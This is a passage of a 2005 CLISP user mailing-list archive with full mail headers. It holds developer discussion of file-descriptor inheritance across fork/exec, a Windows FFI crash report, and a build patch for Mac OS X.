file handle. E.g., there's already a >> such a band-aid in place in connect_to_x_server. If you add this >> band-aid now, someone will complain about some other kind of handles >> in the future. > > so why not do that for all the handles CLISP creates? What about handles that are created by directly calling posix apis, or handles that might be created by third party C libraries, or anything else? It seems intractable to try to catch them all. And there's also the flip side. What if an application wants to use fork directly, and wants the handles to be inherited? >> IMHO, the right way to fix this is for clisp to close all file >> descriptors, except for those it wants to pass on to the child >> process, in between the point where it calls fork() and exec(). > > this means that CLISP must keep track of all the handles it creates, > including the raw sockets in modules &c. > > how is this better than setting FD_CLOEXEC for all sockets and file streams? Well, you don't really have to keep track. IIUC, what's typically done is to loop from 3 to sysconf (_SC_OPEN_MAX), calling close(2) on every possible handle. > (is it possible to make FD_CLOEXEC the default for all new FDs?) Don't know. -- Todd Sabin From lisp-clisp-list@m.gmane.org Thu Aug 18 11:15:39 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E5ovS-00071x-Ln for clisp-list@lists.sourceforge.net; Thu, 18 Aug 2005 11:15:38 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E5ouJ-0007Jd-Qp for clisp-list@lists.sourceforge.net; Thu, 18 Aug 2005 11:15:38 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by externalmx-1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1E5h30-0004k2-TX for clisp-list@lists.sourceforge.net; Thu, 18 Aug 2005 02:50:55 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1E5gzV-0000b1-VL for clisp-list@lists.sourceforge.net; Thu, 18 Aug 2005 11:47:18 +0200 Received: from c-67-180-92-49.hsd1.ca.comcast.net ([67.180.92.49]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 18 Aug 2005 11:47:17 +0200 Received: from efuzzyone by c-67-180-92-49.hsd1.ca.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 18 Aug 2005 11:47:17 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 28 Message-ID: References: <17140.62823.23495.34834@thalassa.informatimago.com> <17141.13876.730904.757850@thalassa.informatimago.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c-67-180-92-49.hsd1.ca.comcast.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:kDGJimfOu3Lg9dsSy15DTBs83Os= X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.9 RCVD_IN_SORBS RBL: SORBS: sender is listed in SORBS [67.180.92.49 listed in dnsbl.sorbs.net] X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: FFI & handler case, problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 18 20:04:24 2005 X-Original-Date: Thu, 18 Aug 2005 02:46:44 -0700 Surendra Singhi writes: > I did some further investigation into my problem, and it > is really behaving weirdly. I will summarize the behavior below: > > [1] If I load the file once, execute, then I am shown the repl prompt, but any input > makes lisp crash. > > [2]When I load the file twice (will show a warning), execute, then repl works for > correct input, but lisp crashes with invalid input. > > [3] Load the file once, make a mistake so that lisp shows an error message, > then execute, things work as expected, for near about 10-12 times, but after > that lisp crashes. > > [4]When I just run the repl, no problem whatsoever. > I tried using gdb, but the only progress which I have been able to make is getting this error message. "Program exited with code 030000000005." -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html "War is Peace! Freedom is Slavery! Ignorance is Strength!" - Orwell, 1984, 1948 From sds@gnu.org Fri Aug 19 06:25:03 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E66rl-00089I-Ia for clisp-list@lists.sourceforge.net; Fri, 19 Aug 2005 06:25:01 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E66rj-00018w-2a for clisp-list@lists.sourceforge.net; Fri, 19 Aug 2005 06:25:01 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7JDOkdl023211; Fri, 19 Aug 2005 09:24:47 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Todd Sabin Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Todd Sabin's message of "Thu, 18 Aug 2005 20:26:27 -0400") References: <42F8C3B9.2070401@gmail.com> <4300C193.8010103@gmail.com> <43037EF9.3050207@gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Todd Sabin Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: raw sockets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 19 06:27:02 2005 X-Original-Date: Fri, 19 Aug 2005 09:24:01 -0400 Todd, did you try the new rawsock module? what is missing there? -- Sam Steingold (http://www.podval.org/~sds) running w2k There are two ways to write error-free programs; only the third one works. From sds@gnu.org Fri Aug 19 06:35:17 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E671h-0000PR-8K for clisp-list@lists.sourceforge.net; Fri, 19 Aug 2005 06:35:17 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E671f-0003jy-9G for clisp-list@lists.sourceforge.net; Fri, 19 Aug 2005 06:35:17 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7JDYuZr024432; Fri, 19 Aug 2005 09:34:56 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Todd Sabin Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Todd Sabin's message of "Thu, 18 Aug 2005 20:26:27 -0400") References: <42F8C3B9.2070401@gmail.com> <4300C193.8010103@gmail.com> <43037EF9.3050207@gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Todd Sabin , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: close(filedes) & fork/exec in CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 19 06:36:44 2005 X-Original-Date: Fri, 19 Aug 2005 09:34:10 -0400 > * Todd Sabin [2005-08-18 20:26:27 -0400]: > > Sam Steingold writes: > >>> * Todd Sabin [2005-08-18 18:13:48 -0400]: >>> >>>> >>>> The child process shall have its own copy of the parent's file >>>> descriptors. Each of the child's file descriptors shall refer to >>>> the same open file description with the corresponding file >>>> descriptor of the parent. >>>> >>>> this means that we must set FD_CLOEXEC for all sockets we create. >>>> please try the appended patch. >>> >>> I'm not sure I have all the context, but this seems like the wrong >>> fix. This sounds like it has nothing to do with sockets in >>> particular, but applies to any file handle. E.g., there's already a >>> such a band-aid in place in connect_to_x_server. If you add this >>> band-aid now, someone will complain about some other kind of handles >>> in the future. >> >> so why not do that for all the handles CLISP creates? > > What about handles that are created by directly calling posix apis, or > handles that might be created by third party C libraries, or anything > else? It seems intractable to try to catch them all. No, but we can close _our_ handles and warn the user about _his_ handles. > And there's also the flip side. What if an application wants to use > fork directly, and wants the handles to be inherited? how often does this happen? >>> IMHO, the right way to fix this is for clisp to close all file >>> descriptors, except for those it wants to pass on to the child >>> process, in between the point where it calls fork() and exec(). >> >> this means that CLISP must keep track of all the handles it creates, >> including the raw sockets in modules &c. >> >> how is this better than setting FD_CLOEXEC for all sockets and file streams? > > Well, you don't really have to keep track. IIUC, what's typically > done is to loop from 3 to sysconf (_SC_OPEN_MAX), calling close(2) on > every possible handle. Interesting. Do people really do that?! Let me summarize: sometimes file descriptors inherited by sub-processes are harmful. e.g.: normal combination of CLISP socket&pipe functions sometimes the user wants that behavior. e.g.: create a raw socket and pass it to a forked user program file descriptors come from 2 sources: 1. controlled by us: CLISP file/pipe/socket functions 2. not controlled by us: user-defined C module functions e.g., rawsock, berkeley-db, oracle, matlab probably create FDs. sub-processes come from 2 sources: 1. controlled by us: CLISP pipe/exec functions 2. not controlled by us: user-defined C module functions probably extremely rare (?) what we can do: 1. set FD_CLOEXEC for all our FDs 2. in pipe/exec: for(i=3; i If you think big enough, you'll never have to do it. From sds@gnu.org Fri Aug 19 06:53:53 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E67Jf-0001Px-4K for clisp-list@lists.sourceforge.net; Fri, 19 Aug 2005 06:53:51 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E67Jd-00008Y-Qg for clisp-list@lists.sourceforge.net; Fri, 19 Aug 2005 06:53:51 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7JDrf2x026677; Fri, 19 Aug 2005 09:53:41 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Surendra Singhi Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Surendra Singhi's message of "Thu, 18 Aug 2005 02:46:44 -0700") References: <17140.62823.23495.34834@thalassa.informatimago.com> <17141.13876.730904.757850@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Surendra Singhi Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: FFI & handler case, problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 19 06:55:25 2005 X-Original-Date: Fri, 19 Aug 2005 09:52:55 -0400 > * Surendra Singhi [2005-08-18 02:46:44 -0700]: > > Surendra Singhi writes: > >> I did some further investigation into my problem, and it >> is really behaving weirdly. I will summarize the behavior below: >> >> [1] If I load the file once, execute, then I am shown the repl prompt, but any input >> makes lisp crash. >> >> [2]When I load the file twice (will show a warning), execute, then repl works for >> correct input, but lisp crashes with invalid input. >> >> [3] Load the file once, make a mistake so that lisp shows an error message, >> then execute, things work as expected, for near about 10-12 times, but after >> that lisp crashes. >> >> [4]When I just run the repl, no problem whatsoever. >> > I tried using gdb, but the only progress which I have been able to make > is getting this error message. > > "Program exited with code 030000000005." I loaded the file - worked fine. [1]> (Eljapp_initializeC (wxclosure_Create (function init-func) nil) 0 nil) COMMON-LISP-USER[1]> 1345 --> 1345 COMMON-LISP-USER[2]> 36756 --> 36756 COMMON-LISP-USER[3]> sgh SIMPLE-UNBOUND-VARIABLE: EVAL: variable SGH has no value COMMON-LISP-USER[4]> 4r5 SIMPLE-UNBOUND-VARIABLE: EVAL: variable |4R5| has no value COMMON-LISP-USER[5]> ^D SIMPLE-READER-ERROR: READ from #: illegal character #\U0004 COMMON-LISP-USER[6]> ^Z [2]> ^Z Bye. what do I do to get a crash? -- Sam Steingold (http://www.podval.org/~sds) running w2k "Complete Idiots Guide to Running LINUX Unleashed in a Nutshell for Dummies" From pjb@informatimago.com Sun Aug 21 00:01:41 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E6jpt-0002fs-FB for clisp-list@lists.sourceforge.net; Sun, 21 Aug 2005 00:01:41 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E6jpp-0002Q6-6Y for clisp-list@lists.sourceforge.net; Sun, 21 Aug 2005 00:01:41 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id CDB1458344; Sun, 21 Aug 2005 09:00:46 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 96B0C5833D; Sun, 21 Aug 2005 09:00:41 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id A260B10FBF3; Sun, 21 Aug 2005 09:00:40 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: Message-Id: <20050821070040.A260B10FBF3@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UPPERCASE_25_50 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] compiled 2.34 on MacOSX + a patch Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 21 00:02:09 2005 X-Original-Date: Sun, 21 Aug 2005 09:00:40 +0200 (CEST) After applying the following patch, I was able to compile clisp-2.34 on: Mac OS X Version 10.3.9 iBook 900 MHz PowerPC G3 640 MB SDRAM Darwin triton.local 7.9.0 Darwin Kernel Version 7.9.0: Wed Mar 30 20:11:17 PST 2005; root:xnu/xnu-517.12.7.obj~1/RELEASE_PPC Power Macintosh powerpc with: rm -rf /tmp/clisp-2.34-build/ ; time ./configure --prefix=/usr/local $(for m in clx/new-clx regexp syscalls ; do echo --with-module=$m ; done) --build /tmp/clisp-2.34-build --install in: real 28m1.763s user 16m12.780s sys 4m44.820s LISP-IMPLEMENTATION-TYPE "CLISP" LISP-IMPLEMENTATION-VERSION "2.34 (2005-07-20) (built 3333590141) (memory 3333591000)" SOFTWARE-TYPE "gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV -I. -x none libcharset.a -lncurses -liconv -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES STANDARD_HEAPCODES SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libiconv 1.9" SOFTWARE-VERSION "GNU C 3.3 20030304 (Apple Computer, Inc. build 1495)" MACHINE-INSTANCE "triton.local [192.168.0.64]" MACHINE-TYPE "POWER MACINTOSH" MACHINE-VERSION "POWER MACINTOSH" *FEATURES* (:COM.INFORMATIMAGO.PJB :ASDF :CLX-ANSI-COMMON-LISP :CLX :REGEXP :SYSCALLS :I18N :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :UNICODE :BASE-CHAR=CHARACTER :UNIX :MACOS) --- clisp-2.34/src/makemake.in Tue Jul 19 04:01:19 2005 +++ clisp-2.34-pjb/src/makemake.in Sun Aug 21 03:16:51 2005 @@ -3146,8 +3146,8 @@ echol SACLA_CLISP="../lisp${LEXE} -B .. -M ../lispinit.mem -N ../locale ${someflags} -i tests.lisp" - echol "check-sacla-tests : ${SACLATESTSDIR} lisp${LEXE} lispinit.mem" - echotab "cd ${SACLATESTSDIR} && ${SACLA_CLISP} -x '(ext:exit (> (nth-value 1 (run-all-tests)) 0))'" + echol "check-sacla-tests : lisp${LEXE} lispinit.mem" + echotab "[ -d ${SACLATESTSDIR} ] && ( cd ${SACLATESTSDIR} && ${SACLA_CLISP} -x '(ext:exit (> (nth-value 1 (run-all-tests)) 0))' ) || true" echol echol "${SACLATESTSDIR} :" echotab "-mkdir ${SACLATESTSDIR}" @@ -3159,16 +3159,16 @@ ANSI_CLISP="../lisp${LEXE} -B .. -M ../lispinit.mem -N ../locale ${someflags} -m 30000KW -ansi -i clispload.lsp" echol "check-ansi-tests : ${ANSITESTSDIR} lisp${LEXE} lispinit.mem" - echotab "cd ${ANSITESTSDIR} && ${ANSI_CLISP} -x '(in-package \"CL-TEST\") (time (regression-test:do-tests)) (ext:exit (regression-test:pending-tests))' 2>&1 | tee ../ansi-tests-log" + echotab "[ -r ${ANSITESTSDIR}/gclload1.lsp ] && ( cd ${ANSITESTSDIR} && ${ANSI_CLISP} -x '(in-package \"CL-TEST\") (time (regression-test:do-tests)) (ext:exit (regression-test:pending-tests))' 2>&1 | tee ../ansi-tests-log) || true" echol echol "check-ansi-tests-debug : ${ANSITESTSDIR} lisp${LEXE} lispinit.mem" - echotab "cd ${ANSITESTSDIR} && ${ANSI_CLISP} -x '(in-package \"CL-TEST\")' -repl" + echotab "[ -r ${ANSITESTSDIR}/gclload1.lsp ] && ( cd ${ANSITESTSDIR} && ${ANSI_CLISP} -x '(in-package \"CL-TEST\")' -repl) || true" echol echol "check-ansi-tests-compiled : ${ANSITESTSDIR} lisp${LEXE} lispinit.mem" - echotab "cd ${ANSITESTSDIR} && ${ANSI_CLISP} -x '(in-package \"CL-TEST\") (setq regression-test::*compile-tests* t) (time (regression-test:do-tests)) (ext:exit (regression-test:pending-tests))' 2>&1 | tee ../ansi-tests-compiled-log" + echotab "[ -r ${ANSITESTSDIR}/gclload1.lsp ] && ( cd ${ANSITESTSDIR} && ${ANSI_CLISP} -x '(in-package \"CL-TEST\") (setq regression-test::*compile-tests* t) (time (regression-test:do-tests)) (ext:exit (regression-test:pending-tests))' 2>&1 | tee ../ansi-tests-compiled-log ) || true" echol echol "check-ansi-tests-compiled-debug : ${ANSITESTSDIR} lisp${LEXE} lispinit.mem" - echotab "cd ${ANSITESTSDIR} && ${ANSI_CLISP} -x '(in-package \"CL-TEST\") (setq regression-test::*compile-tests* t)' -repl" + echotab "[ -r ${ANSITESTSDIR}/gclload1.lsp ] && ( cd ${ANSITESTSDIR} && ${ANSI_CLISP} -x '(in-package \"CL-TEST\") (setq regression-test::*compile-tests* t)' -repl) || true" echol echol "${ANSITESTSDIR} :" # Do NOT update the ansi-tests directory automatically, because -- __Pascal Bourguignon__ http://www.informatimago.com/ From lisp-clisp-list@m.gmane.org Mon Aug 22 16:13:55 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E7LUI-0004Be-TR for clisp-list@lists.sourceforge.net; Mon, 22 Aug 2005 16:13:54 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E7LUH-00012E-D3 for clisp-list@lists.sourceforge.net; Mon, 22 Aug 2005 16:13:54 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1E7LSj-0002T2-7Y for clisp-list@lists.sourceforge.net; Tue, 23 Aug 2005 01:12:17 +0200 Received: from 149.169.23.152 ([149.169.23.152]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 23 Aug 2005 01:12:17 +0200 Received: from efuzzyone by 149.169.23.152 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 23 Aug 2005 01:12:17 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 44 Message-ID: References: <17140.62823.23495.34834@thalassa.informatimago.com> <17141.13876.730904.757850@thalassa.informatimago.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 149.169.23.152 Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:IV9ipbt7YXIuvA6t1IVT+Ug9y0g= X-Spam-Score: 1.3 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO -1.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: FFI & handler case, problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 22 16:14:10 2005 X-Original-Date: Mon, 22 Aug 2005 16:10:07 -0700 Sam Steingold writes: >> * Surendra Singhi [2005-08-18 02:46:44 -0700]: >> >> Surendra Singhi writes: >> >>> I did some further investigation into my problem, and it >>> is really behaving weirdly. I will summarize the behavior below: >>> >>> [1] If I load the file once, execute, then I am shown the repl prompt, but any input >>> makes lisp crash. >>> >>> [2]When I load the file twice (will show a warning), execute, then repl works for >>> correct input, but lisp crashes with invalid input. >>> >>> [3] Load the file once, make a mistake so that lisp shows an error message, >>> then execute, things work as expected, for near about 10-12 times, but after >>> that lisp crashes. >>> >>> [4]When I just run the repl, no problem whatsoever. >>> >> I tried using gdb, but the only progress which I have been able to make >> is getting this error message. >> >> "Program exited with code 030000000005." > > I loaded the file - worked fine. >[...output snipped..] >what do I do to get a crash? Sam, Thanks for looking into this problem. I tried on two different WindowsXP machine, with the binary release of clisp 2.34, and it is easily reproducible on them. Thanks once again. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html "All animals are equal, but some animals are more equal than others." - Orwell, Animal Farm, 1945 From dan.stanger@ieee.org Tue Aug 23 17:35:45 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by 